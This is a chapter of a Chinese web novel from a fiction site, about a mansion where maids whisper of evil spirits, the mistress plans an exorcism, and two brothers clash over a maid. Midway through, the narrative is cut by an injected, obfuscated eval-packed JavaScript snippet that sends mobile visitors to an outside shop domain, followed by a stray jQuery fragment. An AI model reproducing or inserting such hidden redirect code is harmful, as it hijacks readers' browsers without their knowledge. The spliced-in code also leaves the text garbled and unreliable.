文趣网 > 都市小说 > 只恐夜深花不睡 > 21. 了心
    翠月咬了咬唇,左右看看廊下无人,旁边只有几丛高高的芭蕉挡着一块假山石头,才凑近了些:

    “你也这么觉得?我正想说呢。侯爷说晕就晕,夫人说病就病,一个还没好透,另一个又倒下了。你说,这到底是什么病,能急成这样?”

    她压低声音道:

    “说起来,前些日子海棠姐姐不是也病过一场。就是在石榴出事之后那几天,昏睡了好久才醒。”

    翠月顿了顿,像是自言自语般又补了一句:“说来也怪,海棠姐姐病好后,模样比从前更好了,连性子也好像和以前不太一样了。”

    溪云的脚步微微一顿。

    她沉默了片刻,目光扫过回廊尽头那几竿在风里簌簌作响的细竹,声音比方才更低了些:“你说,府里是不是……冲撞了什么不干净的东西?”

    翠月被她这话激得后颈一凉,赶忙去捂她的嘴:“呸呸呸,姐姐你别瞎说!这青天白日的,咱们可别自己吓自己。”

    话虽如此,她说完也忍不住打了个寒噤,缩了缩脖子,总觉得廊下忽然阴凉了几分。

    两人各自揣着一肚子的不安,匆匆别过。

    芭蕉山石隔绝了大半视线,却挡不住人声。

    被芭蕉叶的阴影遮挡严实的温夫人,本是找个有安全感的地方思索透气,无意窃听婢子闲话。可几句话飘入耳畔,正中她无人言说的心事,便也屏息凝神,将一字一句听得分明。

    不干净的东西。

    温红芬的睫毛颤了颤。

    原来连下人们都察觉到了不对劲。

    她的心跳得厉害。

    原来在旁人眼里,这府里早就不对了。

    温红芬又站了片刻,苦笑一声后,才慢慢从芭蕉下走回廊下。

    要是以前,她绝不会放过乱嚼舌头,让府里人心惶惶的。

    不过现在却觉得她们说得倒也不算错。这府里确实有不干净的东西。

    只是那人不是鬼,是活生生住在清辉堂里、被她的丈夫和公公亲手召唤进她儿子身体里的妖孽。

    她耳边又响起那天听到的话。

    老太爷和檀仁表既然敢做出这种事,必定有恃无恐。

    她若贸然揭穿,莫说替儿子报仇,只怕连她自己都要被当成失心疯处置掉。

    驱邪。

    她将这两个字在舌尖上翻来覆去地咀嚼了几遍,忽然觉得闷透了的心底好像漏进来一束天光。

    既然下人们都在疑心府中有邪祟作祟,那她顺水推舟,请人来办一场法事,岂不是名正言顺?任谁也挑不出她的错处来。

    这样一来,她便可顺便找白云寺的住持,那位了心法师来帮忙一看。

    万一,万一能救回山儿呢?

    温红芬抓住希望,急忙回了卧芳居。

    一进去便将崔妈妈单独唤了进来,吩咐道,“崔妈妈,明日一早,你就派人去城外白云寺,请住持了心大师来府里做一场法事。

    这几日府中上下都不安宁,许是冲撞了什么。

    请大师来看看,也好安一安人心。”

    语毕,她便歪在榻上轻轻合上了眼,不再开口。

    府中近来下人之间确实有不少闲话,崔妈妈怕夫人烦心,并没有及时汇报。

    看夫人如此,崔妈妈只猜测是夫人出去透风听见丫头们的闲话了,不敢怠慢,应声退下便去安排。

    消息传得很快。

    侯府里这些日子本就压抑得厉害,听说夫人要请白云寺的住持来府中办法事,下人们反倒松了一口气。

    不管是真邪祟还是假邪祟,有人来念经洒净,总归叫人心里踏实些。

    更何况,白云寺的灵验是出了名的,若不然夫人也不会隔一段时间就带着众人前去礼佛供奉。

    一时间,府中开始忙着筹备道场事宜,处处人来人往,倒比平日更添了几分乱糟糟的热闹。

    热闹,有时候就是最好的遮掩。

    檀渡山是在用过早膳后,带着溪云往西跨院走的。

    他走得极慢。

    一是因为他对外宣称大病初愈,不宜行动过急;二是因为他此行所为之人,值得他慢慢地走过去。

    “溪云,听说西跨院的那个叫海棠的婢女,前些日子也病了一场?”他随口问道,语气寻常地聊着家事,“在花房那次见她,瞧着气色还好。如今怎样了?”

    溪云跟在他身后,闻言不由得抬头,微微有些愣神。

    她摸不准侯爷为何忽然问起海棠,但对方语气坦荡,她也只当是寻常关怀,便据实答道:

    “回侯爷,海棠前些日子确实病过一场,不过早就好了。这几日精神也不错,近来在西跨院伺候二公子,也很是尽心。”

    檀渡山轻轻“嗯”了一声以作回复。

    没有再多说什么,只是脚步似乎轻快了几分,好像得到了满意的回答。

    西跨院里,白雀啼,竹影晃,枝叶瓦檐筛过的日光,洒了满地碎金。即便隐隐能听见府内请来的大师诵读经文的声音,这边院落静谧的氛围也不减丝毫。

    檀照风正坐在书案后,手里的书好半天才翻走一页。

    面上平静专注,其实心里想的却是海棠。

    这两天除了送药时能看见海棠,他竟然再没有别的机会和她碰面。她送完药就退下,走路很轻,连脚步声都很难听见。他有几次想叫住她,嘴还没张,门已经合上了。

    他说不清自己在等什么。是想为那天的口不择言道歉,还是想装作什么都没发生一样重新开始,连他自己都拿不定主意。

    他也曾不动声色地从别的下人那儿打听过,旁人只说府里忙乱,海棠许是被叫去帮忙了。

    可这“忙乱”二字说得太简单,她究竟都忙了些什么,他无从得知。

    檀照风坐在书桌前,手上的书已经不知何时放下摊在桌面上,四平八稳。他愣着神,听见书房外好像有人过来,急忙望向门扇。

    有人隔着门通报,“二公子,侯爷来了。”然后打开了书房的门。

    看清来人,檀照风的面色瞬间由失望变回平静,“大哥怎么来了?身子养好了?”

    檀渡山微微一笑,迈步进了书房,“听说你这里清静,过来坐坐。怎么,不欢迎我?”

    知道他是在提最近府内的荒谬灵异传闻,诵经声飘在空中,两人对视一笑,檀照风摇摇头,并没有多附和什么。

    传言多说他们二人不和,其实谈不上不和,如果不是温红芬步步紧逼,檀仁表冷眼旁观,两人更是连这少少的接触都不会有,更谈不上“不和”。

    不过,对方可以似真似假地调侃温夫人的驱邪安排,他一个外人,还是不要多说为好。

    檀渡山并不在乎自己说了什么让人不好回答的话,反正此行说什么都是个“引子”。他在书房里慢慢踱步,好似颇为好奇檀照风的书房布局。

    他不说话,檀照风自然也不会多问。

    谁都知道檀渡山过来西跨院这趟算得上突兀,但是人家既然给了理由,就不好再问了。

    何况,檀照风根本也不好奇。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17940855|213915||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>该说的话总会说出来。

    檀照风坐在原地,拿起书接着翻看起来。

    檀渡山的目光不经意地扫过室内布置,随着他的脚步变换,终于他的视线从书架、药柜、书案上的凉茶上一一掠过,最终落到了角落里那张空着的绣墩上。

    绣墩上绣着大片盛开的朵朵海棠。

    那里应该是留给某个陪侍的女子坐的位置。

    他的目光在上面停了一瞬,然后若无其事地移开。

    檀渡山像是突然想起来似的出声问道,“母亲好像是给你院里又配了个丫头,叫海棠的,对吧?”

    “上次在花房碰见,瞧着倒是个伶俐的。”

    檀渡山拿起书案上一本药经,随手翻了两页,语气随意,“今日怎么不见她在这里侍候?”

    檀照风握着书卷的手指倏然收紧,指节泛起一层薄白。

    他倒是忘了,这可是海棠心心念念的“恩人”呢。

    “她自有她的事。”檀照风的声音没变,但就让人觉得无端发冷,他放下书卷,抬头看向檀渡山的眼神里带着一抹疏离,“大哥若没有别的事,不如早些回去歇着。大病初愈,不宜劳神。”

    溪云站在门口,总觉得书房里忽然冷了几分。她看看大公子,又看看二公子,识趣地没有插嘴。

    檀渡山倒像是没听出他话里的冷淡,反而调笑道,“二弟,怎么回事?大哥才来这里,连你的一杯茶都没喝到,就要被下逐客令了吗?”

    檀渡山将药经放回原处,意味深长地看了檀照风一眼,眼神中没有被下面子的恼怒,反而像是察觉到了什么似的,带着一种了然的兴味。

    他站定在一张椅子前,旋身而坐,兴致盎然地说道,“不如,就叫海棠来给我奉上一杯茶吧。”

    “侯爷,夫人找您过去呢。”

    书房外传来的声音打破了两人之间奇怪的氛围,也叫从头听到尾的溪云莫名松了一口气。

    檀渡山眉头微微皱起,脱口而出轻轻埋怨道,“母亲老是让我陪了心大师做什么?”

    心中冒出一声不屑出嗤笑,檀渡山晃了晃脑袋,自从他醒来后,总能不合时宜地听见好像脑海中还有一个人的声音,但转瞬又像是一场幻觉。

    他都有些习惯自己身体内偶尔的异声。

    “既然如此,那二弟,我就不打扰你了。”在檀照风没有说话前,檀渡山松口。

    他走到门口时忽然又停住脚步,回头补了一句,“替我向海棠问好。”

    他的语气很轻,若不是溪云一直紧紧跟在他身后,怕是都未必听得清。

    檀照风没有应声,只是盯着檀渡山离去的背影,眸色沉如井水。书页被他慢慢合上,手指还按在封面上,过了好一会儿才松开。

    他忍不住开始在脑海中一帧一帧地回放这些日子以来的画面,力图找到每一处可疑的细节。

    檀渡山会那样自然地提起海棠,是不是其实花房那次还发生了别的事情?而自己这些天恰好又一直对海棠冷淡。

    若真是因此给了檀渡山可乘之机,他又有什么立场去怪她?

    那海棠呢?

    她整日不在西跨院,是真的去帮忙,还是去了什么他不知道的地方?见了什么人?

    她和檀渡山之间,难道真的是郎有情妾有意?

    檀照风不想再往下发散思绪,但脑中不断闪过的念头,像脱缰的马,拉都拉不住。

    终于,手里的书页被他紧紧攥成了一团。

    直到各院开始掌灯的时候,海棠回来了。